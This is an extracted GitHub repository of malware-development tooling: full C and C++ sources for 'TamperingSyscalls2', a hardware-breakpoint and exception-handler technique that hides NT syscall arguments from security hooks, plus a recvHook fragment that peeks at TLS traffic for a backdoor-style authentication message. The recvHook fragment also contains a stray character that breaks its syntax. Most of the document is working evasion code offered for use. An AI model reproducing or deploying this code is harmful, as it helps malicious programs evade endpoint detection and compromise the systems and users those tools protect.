       ~?7^^!!7!: ..:...  ^~::.:^~^:::....                      ..:::~!!..7JJYYYYJJJ??J?JJ
     :7!~::~~~~:  ...   .~^:.:::...^~^:::::......  .........        :!:  ~~!7??JJJJJ???777
  .:~^~~7!!77!!^       :^:................::....:::.....:.:..       :!: :77J?7!!7??77!~~~~
?J5~7~!!!77!!!!!~^:...~^.         ..     ........:^^^^:....:....    :!. .~?Y5YJ??J?7!~^^^^
~^::~!!!!!77!!~~~!7!~!^:^~~~~^:..             ....:::^^^::........  :~    .^?JJYJJ777!~^^^
      .^??~^!!~^^::~~~^:~!~~!77!!~^^^:.        .....::::^:..  ....  ^^   .. ..:7J5YJJ?!!~~
        .~J!~~~^^:~^::::^^^^!7!!~~~~!!^.        .. ...::^......... .^::..:...  .^755YJ???7
         .^7~^~:^!^:^:^^^^^~!!!!~~~~~~:.            .. ...:... .....:^^^:^:::    ^JYYY?!~~
           ^!~:~!~^:^^~~~!~~~~~~~!7!!~:      . .      .. .....  .:..:^^::::..    .?Y?!!!!~
           :!^~^^::::^~~^~~~~~~~!7!77~.  .  .    .     .       ......:::..    .   ^7!7?7~~
```



================================================
FILE: TamperingSyscalls2.c
================================================
//////////////////////////////////////////////////////////////////////////////////////////
/*                           TamperingSyscalls2.c - @rad9800                            */
/*             C Generic x64 user-land evasion technique utilizing debug registers      */
/*                   Hides up to 12 args of up to 4 NT calls per thread                 */
//////////////////////////////////////////////////////////////////////////////////////////
#include <Windows.h>
#include <stdio.h>

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Macros                                      */
////////////////////////////////////////////////////////////////////////////////////////// 
#define STK_ARGS 8 // 8 (stack args) + 4 (fast-four)             
// Can be increased if needed (though you've got a problem if you need more threads)
#define MAX_THREAD_COUNT 64    
#define MAX_DEBUG_REGISTERS (MAX_THREAD_COUNT * 4)

#define _DEBUG 1 // 0 (disabled) / 1 (enabled) 

#if _DEBUG == 0
#define PRINT( ... )
#else
#define PRINT printf
#endif

#define PRINT_ARGS( State, ExceptionInfo, address )                     \
PRINT("%s %d arguments and stack for 0x%p || TID : 0x%x\n",             \
    State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId());       \
PRINT("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx);        \
PRINT("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx);        \
PRINT("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8);         \
PRINT("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9);         \
for (UINT idx = 0; idx < STK_ARGS; idx++){                              \
    const size_t offset = idx * 0x8 + 0x28;                             \
    PRINT("%d:\t0x%p\n", (idx + 5), (PVOID)*(PULONG64)                  \
        ((ExceptionInfo)->ContextRecord->Rsp + offset));                \
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Typedefs                                    */
//////////////////////////////////////////////////////////////////////////////////////////
typedef struct {
    uintptr_t            rcx;    // First
    uintptr_t            rdx;    // Second
    uintptr_t            r8;        // Third
    uintptr_t            r9;        // Fourth
    uintptr_t            rsp[STK_ARGS];    // Stack args
} function_args;

typedef struct {
    function_args function_args;
    uintptr_t  function_address;
    uintptr_t  sys_call_address;
    DWORD     key_thread_id_val;
    UINT     debug_register_pos;
} sys_call_descriptor;

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Globals                                     */
//////////////////////////////////////////////////////////////////////////////////////////
sys_call_descriptor sys_call_descriptors[MAX_DEBUG_REGISTERS];
CRITICAL_SECTION    g_critical_section;


//////////////////////////////////////////////////////////////////////////////////////////
/*                                      Exception Handler                               */
//////////////////////////////////////////////////////////////////////////////////////////
/*
 * Function: exception_handler
 * -----------------------------------------
 *  sys_call handler required to save and modify the arguments to syscall
 *  instructions
 *
 *    Registered by init_tampering_sys_call
 *
 */
LONG WINAPI exception_handler(const PEXCEPTION_POINTERS ExceptionInfo)
{
    const uintptr_t exception_address = ExceptionInfo->ContextRecord->Rip;

    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
    {
        BOOL resolved = FALSE;
        EnterCriticalSection(&g_critical_section);

        for (size_t i = 0; i < MAX_DEBUG_REGISTERS; i++)
        {
            if (exception_address == sys_call_descriptors[i].function_address)
            {
                (&ExceptionInfo->ContextRecord->Dr0)[sys_call_descriptors[i].\
                    debug_register_pos] =
                    sys_call_descriptors[i].sys_call_address;

                sys_call_descriptors[i].function_args.rcx =
                    ExceptionInfo->ContextRecord->Rcx;
                sys_call_descriptors[i].function_args.rdx =
                    ExceptionInfo->ContextRecord->Rdx;
                sys_call_descriptors[i].function_args.r8 =
                    ExceptionInfo->ContextRecord->R8;
                sys_call_descriptors[i].function_args.r9 =
                    ExceptionInfo->ContextRecord->R9;

                for (unsigned j = 0; j < STK_ARGS; j++) {
                    const size_t offset = j * 0x8 + 0x28;
                    sys_call_descriptors[i].function_args.rsp[j] =
                        *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
                }

                PRINT_ARGS("HIDING", ExceptionInfo, exception_address);

                ExceptionInfo->ContextRecord->Rcx = 0ull;
                ExceptionInfo->ContextRecord->Rdx = 0ull;
                ExceptionInfo->ContextRecord->R8 = 0ull;
                ExceptionInfo->ContextRecord->R9 = 0ull;

                memset(
                    (PVOID)(ExceptionInfo->ContextRecord->Rsp + 0x28), 
                    0, 
                    STK_ARGS * sizeof(uintptr_t)
                );

                PRINT_ARGS("HIDDEN", ExceptionInfo, exception_address);

                resolved = TRUE;
            }
            else if (exception_address == sys_call_descriptors[i].sys_call_address)
            {
                (&ExceptionInfo->ContextRecord->Dr0)[sys_call_descriptors[i].\
                    debug_register_pos] =
                    sys_call_descriptors[i].function_address;

                ExceptionInfo->ContextRecord->R10 =
                    sys_call_descriptors[i].function_args.rcx;
                ExceptionInfo->ContextRecord->Rdx =
                    sys_call_descriptors[i].function_args.rdx;
                ExceptionInfo->ContextRecord->R8 =
                    sys_call_descriptors[i].function_args.r8;
                ExceptionInfo->ContextRecord->R9 =
                    sys_call_descriptors[i].function_args.r9;

                for (unsigned j = 0; j < STK_ARGS; j++) {
                    const size_t offset = j * 0x8 + 0x28;
                    *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
                        sys_call_descriptors[i].function_args.rsp[j];
                }

                PRINT_ARGS("RESTORED", ExceptionInfo, exception_address);

                resolved = TRUE;
            }
            if (resolved) break;
        }
        LeaveCriticalSection(&g_critical_section);

        if (resolved)
        {
            ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }

    return EXCEPTION_CONTINUE_SEARCH;
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                      Functions                                       */
//////////////////////////////////////////////////////////////////////////////////////////

uintptr_t
find_gadget(
    const uintptr_t function,
    const BYTE* stub,
    const UINT size
)
{
    for (unsigned int i = 0; i < 25u; i++)
    {
        if (memcmp((LPVOID)(function + i), stub, size) == 0) {
            return (function + i);
        }
    }
    return 0ull;
}

/*
 * Function: set_hardware_breakpoint
 * ---------------------------------
 *  sets/removes a hardware breakpoint in the specified debug register for a specific
 *    function address
 *
 *    thd: A handle to the thread (GetCurrentThread)
 *    address: address of function to point a debug register towards
 *    pos: Dr[0-3]
 *    init: TRUE (Sets)/FALSE (Removes)
 *
 */
void
set_hardware_breakpoint(
    const HANDLE thd,
    const uintptr_t address,
    const UINT pos,
    const BOOL init
)
{
    BOOL modified = FALSE;
    CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };

    GetThreadContext(thd, &context);
    if (init) {
        (&context.Dr0)[pos] = address;
        context.Dr7 &= ~(3ull << (16 + 4 * pos));
        context.Dr7 &= ~(3ull << (18 + 4 * pos));
        context.Dr7 |= 1ull << (2 * pos);

        modified = TRUE;
    }
    else {
        if ((&context.Dr0)[pos] == address) {
            context.Dr7 &= ~(1ull << (2 * pos));
            (&context.Dr0)[pos] = 0ull;

            modified = TRUE;
        }
    }
    if (modified) {
        SetThreadContext(thd, &context);
    }
}

/*
 * Function: clear_sys_call_descriptor_entry
 * -----------------------------------------
 *  Zeroes out the parameters of a sys_call_descriptor
 *
 *    sys_call_descriptor: pointer to sys_call_descriptor
 *
 */
void
clear_sys_call_descriptor_entry(
    sys_call_descriptor* p_sys_call_descriptor
)
{
    memset(
        p_sys_call_descriptor, 
        0, 
        sizeof(sys_call_descriptor)
    );
}

/*
 * Function: init_tampering_sys_call
 * ---------------------------------
 *  initializes the structures and globals required
 *
 * returns: handler to the exception handler (can be removed with
 *          RemoveVectoredExceptionHandler.
 *
 */
PVOID
init_tampering_sys_call(
    void
)
{
    const PVOID handler = AddVectoredExceptionHandler(1, exception_handler);
    InitializeCriticalSection(&g_critical_section);

    for (size_t i = 0; i < MAX_DEBUG_REGISTERS; i++)
    {
        clear_sys_call_descriptor_entry(&sys_call_descriptors[i]);
    }

    return handler;
}


/*
 * Function: un_init_tampering_sys_call
 * ---------------------------------
 *  Un-initializes the structures and globals required and disables
 *  all currently enabled hardware breakpoints pertaining to tampering
 *  sys_calls.
 *
 */
void
un_init_tampering_sys_call(
    const PVOID handler
)
{
    EnterCriticalSection(&g_critical_section);

    for (unsigned int i = 0; i < MAX_DEBUG_REGISTERS; i++)
    {
        if (sys_call_descriptors[i].function_address != 0
            && sys_call_descriptors[i].key_thread_id_val != 0)
        {
            HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE,
                sys_call_descriptors[i].key_thread_id_val);

            set_hardware_breakpoint(
                thd,
                sys_call_descriptors[i].function_address,
                sys_call_descriptors[i].debug_register_pos,
                FALSE
            );

            if (thd != INVALID_HANDLE_VALUE) {
                CloseHandle(thd);
            }

            clear_sys_call_descriptor_entry(&sys_call_descriptors[i]);
            break;
        }
    }

    LeaveCriticalSection(&g_critical_section);

    RemoveVectoredExceptionHandler(handler);

    DeleteCriticalSection(&g_critical_section);
}

/*
 * Function: set_tampering_sys_call
 * --------------------------------
 *  sets the hardware breakpoint, and adds the required entries to global
 *  structures
 *
 * nt_function_address: & of NT function
 * pos: Debug register position (0-3)
 *
 */
void
set_tampering_sys_call(
    const uintptr_t nt_function_address,
    const UINT pos
)
{
    const UINT idx = pos % 4;
    const BYTE sys_call_op_code[] = { 0x0F, 0x05 };
    const uintptr_t nt_sys_call_address =
        find_gadget(nt_function_address, sys_call_op_code, 2);

    // Perform only required work when inside critical section.
    EnterCriticalSection(&g_critical_section);

    for (unsigned int i = 0; i < MAX_DEBUG_REGISTERS; i++)
    {
        if (sys_call_descriptors[i].function_address == 0)
        {
            sys_call_descriptors[i].function_address = nt_function_address;
            sys_call_descriptors[i].sys_call_address = nt_sys_call_address;

            sys_call_descriptors[i].debug_register_pos = idx;
            sys_call_descriptors[i].key_thread_id_val = GetCurrentThreadId();

            break;
        }
    }

    LeaveCriticalSection(&g_critical_section);

    set_hardware_breakpoint(
        GetCurrentThread(),
        nt_function_address,
        idx,
        TRUE
    );
}

/*
 * Function: remove_tampering_sys_call
 * -----------------------------------
 *  Destroys all objects and debug registers set during init or use.
 *
 * nt_function_address: & of NT function
 * pos: Debug register position (0-3)
 *
 */
void
remove_tampering_sys_call(
    const uintptr_t nt_function_address,
    const UINT pos
)
{
    EnterCriticalSection(&g_critical_section);

    for (unsigned int i = 0; i < MAX_DEBUG_REGISTERS; i++)
    {
        if (sys_call_descriptors[i].function_address == nt_function_address
            && sys_call_descriptors[i].key_thread_id_val == GetCurrentThreadId())
        {
            clear_sys_call_descriptor_entry(&sys_call_descriptors[i]);
            break;
        }
    }

    LeaveCriticalSection(&g_critical_section);

    set_hardware_breakpoint(
        GetCurrentThread(),
        nt_function_address,
        pos % 4,
        FALSE
    );
}


DWORD WINAPI
test_thread(
    LPVOID lp_parameter
)
{
    PRINT("---- New Thread ----\n");

    set_tampering_sys_call(
        (uintptr_t)GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
            "NtCreateMutant"),
        1
    );

    HANDLE m = CreateMutexA(NULL, TRUE, "rad98");
    if (m) CloseHandle(m);

    // Not really needed as thread returns, but it's good practice.
    remove_tampering_sys_call(
        (uintptr_t)GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
            "NtCreateMutant"),
        1
    );
    return 0;
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Entry                                       */
//////////////////////////////////////////////////////////////////////////////////////////

int main()
{
    const PVOID handler = init_tampering_sys_call();
    HANDLE t = NULL;

    set_tampering_sys_call(
        (uintptr_t)GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
            "NtCreateThreadEx"),
        0
    );

    for (unsigned i = 0; i < 2; i++)
    {
        t = CreateThread(NULL, 0, test_thread, NULL, 0, NULL);
        if (t) WaitForSingleObject(t, INFINITE);
    }

    remove_tampering_sys_call(
        (uintptr_t)GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
            "NtCreateThreadEx"),
        0
    );

    un_init_tampering_sys_call(handler);
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          EOF                                         */
//////////////////////////////////////////////////////////////////////////////////////////


================================================
FILE: TamperingSyscalls2.cpp
================================================
//////////////////////////////////////////////////////////////////////////////////////////
/*                           TamperingSyscalls2.cpp - @rad9800     c++20                */
/*              C++ Generic x64 user-land evasion technique utilizing HWBP.cpp          */
/*                   Hides up to 12 args of up to 4 NT calls per thread                 */
//////////////////////////////////////////////////////////////////////////////////////////
#include <windows.h>

#include <tlhelp32.h>
#include <functional>

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Structs                                     */
//////////////////////////////////////////////////////////////////////////////////////////

						// 12 - 4 = 8 - should cover most Nt functions. 
#define STK_ARGS 8			// Increase this value, works until ~100...

typedef struct {
	uintptr_t									function_addr;	// +0x0
	uintptr_t									syscall_addr;	// +0x12
	UINT												 pos;
} ADDRESS_INFORMATION;

typedef struct {
	uintptr_t			Rcx;	// First
	uintptr_t			Rdx;	// Second
	uintptr_t			R8;		// Third
	uintptr_t			R9;		// Fourth
	uintptr_t			stk[STK_ARGS];	// Stack args
} FUNC_ARGS;

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Macros                                      */
////////////////////////////////////////////////////////////////////////////////////////// 
#define PRINT_ARGS( State, ExceptionInfo )                              \
printf("%s %d arguments and stack for 0x%p || TID : 0x%x\n",            \
    State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId());       \
printf("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx);       \
printf("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx);       \
printf("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8);        \
printf("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9);        \
for (UINT idx = 0; idx < STK_ARGS; idx++){                              \
    const size_t offset = idx * 0x8 + 0x28;                             \
    printf("%d:\t0x%p\n", (idx + 5), (PVOID)*(PULONG64)                 \
        ((ExceptionInfo)->ContextRecord->Rsp + offset));                \
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Globals                                     */
//////////////////////////////////////////////////////////////////////////////////////////
std::unordered_map<uintptr_t, ADDRESS_INFORMATION> ADDRESS_MAP{ 0 };
// syscall opcode { 0x55 } address, func args in registers and stack 
std::unordered_map<uintptr_t, FUNC_ARGS> SYSCALL_MAP{ 0 };

//////////////////////////////////////////////////////////////////////////////////////////
/*                                      Functions                                       */
//////////////////////////////////////////////////////////////////////////////////////////
VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init)
{
	CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
	GetThreadContext(thd, &context);

	if (init) {
		(&context.Dr0)[pos] = address;

		context.Dr7 &= ~(3ull << (16 + 4 * pos));
		context.Dr7 &= ~(3ull << (18 + 4 * pos));
		context.Dr7 |= 1ull << (2 * pos);
	}
	else {
		if ((&context.Dr0)[pos] == address) {
			context.Dr7 &= ~(1ull << (2 * pos));
			(&context.Dr0)[pos] = NULL;
		}
	}

	SetThreadContext(thd, &context);
}

// Find our ret ROP gadget (pointer decay so need explicit size)
uintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size)
{
	for (unsigned int i = 0; i < (unsigned int)25; i++)
	{
		// memcmp WILL be optimized 
		if (memcmp((LPVOID)(function + i), stub, size) == 0) {
			return (function + i);
		}
	}
	return NULL;
}

DWORD WINAPI TestThread(LPVOID lpParameter);

//////////////////////////////////////////////////////////////////////////////////////////
/*                                        Classes                                       */
//////////////////////////////////////////////////////////////////////////////////////////
struct TS2_HWBP {
private:
	const uintptr_t address;
	UINT			pos;
public:
	TS2_HWBP(const uintptr_t address, const UINT idx) : address{ address },
		pos{ idx % 4 }
	{
		SetHWBP(GetCurrentThread(), address, pos, true);

		BYTE syscop[] = { 0x0F, 0x05 };
		ADDRESS_MAP[address].syscall_addr =
			FindRopAddress(address, syscop, sizeof(syscop));
		ADDRESS_MAP[address].function_addr = address;
		ADDRESS_MAP[address].pos = pos;
	};

	VOID RemoveHWBPS()
	{
		SetHWBP(GetCurrentThread(), address, pos, false);
	}

	~TS2_HWBP()
	{
		RemoveHWBPS();
	}
};

//////////////////////////////////////////////////////////////////////////////////////////
/*                                      Exception Handler                               */
//////////////////////////////////////////////////////////////////////////////////////////
LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo)
{
	const auto address = ExceptionInfo->ContextRecord->Rip;
	printf("Exception: 0x%llx\n", address);
	if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
	{
		for (const auto& [k, v] : ADDRESS_MAP)
		{
			if (address == v.function_addr) // mov r10, rcx
			{
				// Set Dr[pos] to address+0x12
				(&ExceptionInfo->ContextRecord->Dr0)[v.pos] = v.syscall_addr;

				const auto key = (address + 0x12) | GetCurrentThreadId();

				SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
				SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
				SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
				SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;

				for (size_t idx = 0; idx < STK_ARGS; idx++)
				{
					const size_t offset = idx * 0x8 + 0x28;
					SYSCALL_MAP[key].stk[idx] =
						*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
				}

				PRINT_ARGS("HIDING", ExceptionInfo);

				ExceptionInfo->ContextRecord->Rcx = 0;
				ExceptionInfo->ContextRecord->Rdx = 0;
				ExceptionInfo->ContextRecord->R8 = 0;
				ExceptionInfo->ContextRecord->R9 = 0;

				for (size_t idx = 0; idx < STK_ARGS; idx++)
				{
					const size_t offset = idx * 0x8 + 0x28;
					*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull;
				}

				PRINT_ARGS("HIDDEN", ExceptionInfo);

				ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
				return EXCEPTION_CONTINUE_EXECUTION;
			}
			else if (address == v.syscall_addr)
			{
				// Set Dr[pos] to address-0x12
				(&ExceptionInfo->ContextRecord->Dr0)[v.pos] = v.function_addr;

				auto const key = (address | GetCurrentThreadId());

				// SSN in ExceptionInfo->ContextRecord->Rax

				// mov rcx, r10 
				ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
				ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
				ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
				ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
				ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;

				for (size_t idx = 0; idx < STK_ARGS; idx++)
				{
					const size_t offset = idx * 0x8 + 0x28;
					*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
						SYSCALL_MAP[key].stk[idx];
				}

				PRINT_ARGS("RESTORED", ExceptionInfo);

				SYSCALL_MAP.erase(key);

				ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
				return EXCEPTION_CONTINUE_EXECUTION;
			}
		}
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Entry                                       */
//////////////////////////////////////////////////////////////////////////////////////////
int main()
{
	const PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler);

	TS2_HWBP TS2NtCreateThreadEx{
		(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
		"NtCreateThreadEx")),
		1
	};

	for (unsigned int i = 0; i < 2; ++i) {
		HANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr);
		if (t) WaitForSingleObject(t, INFINITE);
	}

	TS2NtCreateThreadEx.RemoveHWBPS();

	if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}

DWORD WINAPI TestThread(LPVOID lpParameter)
{
	UNREFERENCED_PARAMETER(lpParameter);
	printf("\n----TestThread----\n\n");

	TS2_HWBP TS2NtCreateMutant{
		(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
		"NtCreateMutant")),
		1
	};

	HANDLE m = CreateMutexA(NULL, TRUE, "rad98");
	if (m) CloseHandle(m);

	return 0;
}
//////////////////////////////////////////////////////////////////////////////////////////
/*                                          EOF                                         */
//////////////////////////////////////////////////////////////////////////////////////////


================================================
FILE: recvHook.cpp
================================================
HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L"WS2_32.dll"),
	GetModuleHandle(L"WS2_32.dll")),"recv"), 3,
	([&](PEXCEPTION_POINTERS ExceptionInfo) {
		
		for (auto& i : ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}

		char verbuf[9]{ 0 };
		int	verbuflen{ 9 }, recvlen{ 0 };

		recvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf,
				   verbuflen, MSG_PEEK);

		BYTE TLS[] = { 0x17, 0x03, 0x03 };

		if (recvlen >= 3) {
			if ((memcmp(verbuf, TLS, 3) == 0))1
			{
				MSG_AUTH msg{ 0 };
				// We'll peek like SockDetour as to not eat the message
				recvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg,
					sizeof(MSG_AUTH), MSG_PEEK);
					// Authenticate and proceed

			}
		}

		// Set corresponding Dr
		for (auto& i : ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
			}
		}

		ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };
Download .txt
gitextract_ztggurhc/

├── DRPGG.cpp
├── HWBP.c
├── HWBPP.cpp
├── LICENSE.md
├── NtCreateThreadExHook.cpp
├── README.md
├── TamperingSyscalls2.c
├── TamperingSyscalls2.cpp
└── recvHook.cpp
Download .txt
SYMBOL INDEX (52 symbols across 6 files)

FILE: DRPGG.cpp
  function FindRetAddr (line 52) | uintptr_t FindRetAddr(const uintptr_t function)
  function VOID (line 64) | VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, ...
  function VOID (line 86) | VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init =...
  function LONG (line 113) | LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo)
  function DWORD (line 138) | DWORD WINAPI TestThread(LPVOID lpParameter)
  type HWBP (line 150) | struct HWBP {
    method HWBP (line 152) | HWBP(const uintptr_t address, const UINT idx,
    method VOID (line 161) | VOID RemoveHWBPS()
  type PGBP (line 179) | struct PGBP {
    method PGBP (line 181) | PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, addr...
    method VOID (line 189) | VOID RemovePGEntry()
  function main (line 207) | int main()

FILE: HWBP.c
  type descriptor_entry (line 42) | struct descriptor_entry
  type descriptor_entry (line 57) | struct descriptor_entry
  function BOOL (line 77) | BOOL
  function BOOL (line 149) | BOOL
  function BOOL (line 200) | BOOL insert_descriptor_entry(
  function BOOL (line 250) | BOOL delete_descriptor_entry(
  function LONG (line 311) | LONG WINAPI exception_handler(
  function PVOID (line 379) | PVOID
  function hardware_engine_stop (line 397) | void
  function sleep_callback_test (line 424) | void sleep_callback_test(const PEXCEPTION_POINTERS ExceptionInfo)
  function main (line 435) | int main()

FILE: HWBPP.cpp
  function VOID (line 32) | VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, ...
  function VOID (line 54) | VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init =...
  function LONG (line 82) | LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
  type HWBP (line 98) | struct HWBP {
    method HWBP (line 100) | HWBP(const uintptr_t address, const UINT idx,
    method VOID (line 109) | VOID RemoveHWBPS()
  function BOOL (line 136) | BOOL APIENTRY DllMain(HANDLE hModule, DWORD  ul_reason_for_call, LPVOID ...

FILE: NtCreateThreadExHook.cpp
  function DWORD (line 32) | DWORD WINAPI HijackThread(LPVOID lpParameter)
  function FindRetAddr (line 51) | uintptr_t FindRetAddr(const uintptr_t function)

FILE: TamperingSyscalls2.c
  type function_args (line 41) | typedef struct {
  type sys_call_descriptor (line 49) | typedef struct {
  function LONG (line 76) | LONG WINAPI exception_handler(const PEXCEPTION_POINTERS ExceptionInfo)
  function find_gadget (line 168) | uintptr_t
  function set_hardware_breakpoint (line 196) | void
  function clear_sys_call_descriptor_entry (line 237) | void
  function PVOID (line 258) | PVOID
  function un_init_tampering_sys_call (line 283) | void
  function set_tampering_sys_call (line 331) | void
  function remove_tampering_sys_call (line 378) | void
  function DWORD (line 407) | DWORD WINAPI
  function main (line 436) | int main()

FILE: TamperingSyscalls2.cpp
  function VOID (line 58) | VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, ...
  function FindRopAddress (line 81) | uintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, con...
  type TS2_HWBP (line 98) | struct TS2_HWBP {
    method TS2_HWBP (line 103) | TS2_HWBP(const uintptr_t address, const UINT idx) : address{ address },
    method VOID (line 115) | VOID RemoveHWBPS()
  function LONG (line 129) | LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo)
  function main (line 212) | int main()
  function DWORD (line 232) | DWORD WINAPI TestThread(LPVOID lpParameter)
Condensed preview — 9 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (137K chars).
[
  {
    "path": "DRPGG.cpp",
    "chars": 8852,
    "preview": "//////////////////////////////////////////////////////////////////////////////////////////\n/*                           "
  },
  {
    "path": "HWBP.c",
    "chars": 13368,
    "preview": "//////////////////////////////////////////////////////////////////////////////////////////\n/*                           "
  },
  {
    "path": "HWBPP.cpp",
    "chars": 5503,
    "preview": "//////////////////////////////////////////////////////////////////////////////////////////\n/*                           "
  },
  {
    "path": "LICENSE.md",
    "chars": 18092,
    "preview": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Fr"
  },
  {
    "path": "NtCreateThreadExHook.cpp",
    "chars": 4984,
    "preview": "//////////////////////////////////////////////////////////////////////////////////////////\n/*                           "
  },
  {
    "path": "README.md",
    "chars": 54835,
    "preview": "This article was origininally for [VX-Underground Black Mass Halloween Edition 2022](https://papers.vx-underground.org/p"
  },
  {
    "path": "TamperingSyscalls2.c",
    "chars": 14788,
    "preview": "//////////////////////////////////////////////////////////////////////////////////////////\n/*                           "
  },
  {
    "path": "TamperingSyscalls2.cpp",
    "chars": 8973,
    "preview": "//////////////////////////////////////////////////////////////////////////////////////////\n/*                           "
  },
  {
    "path": "recvHook.cpp",
    "chars": 1048,
    "preview": "HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L\"WS2_32.dll\"),\n\tGetModuleHandle(L\"WS2_32.dll\")),\"recv\"), 3,\n\t([&"
  }
]

About this extraction

This page contains the full source code of the rad9800/hwbp4mw GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 9 files (127.4 KB), approximately 30.5k tokens, and a symbol index with 52 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!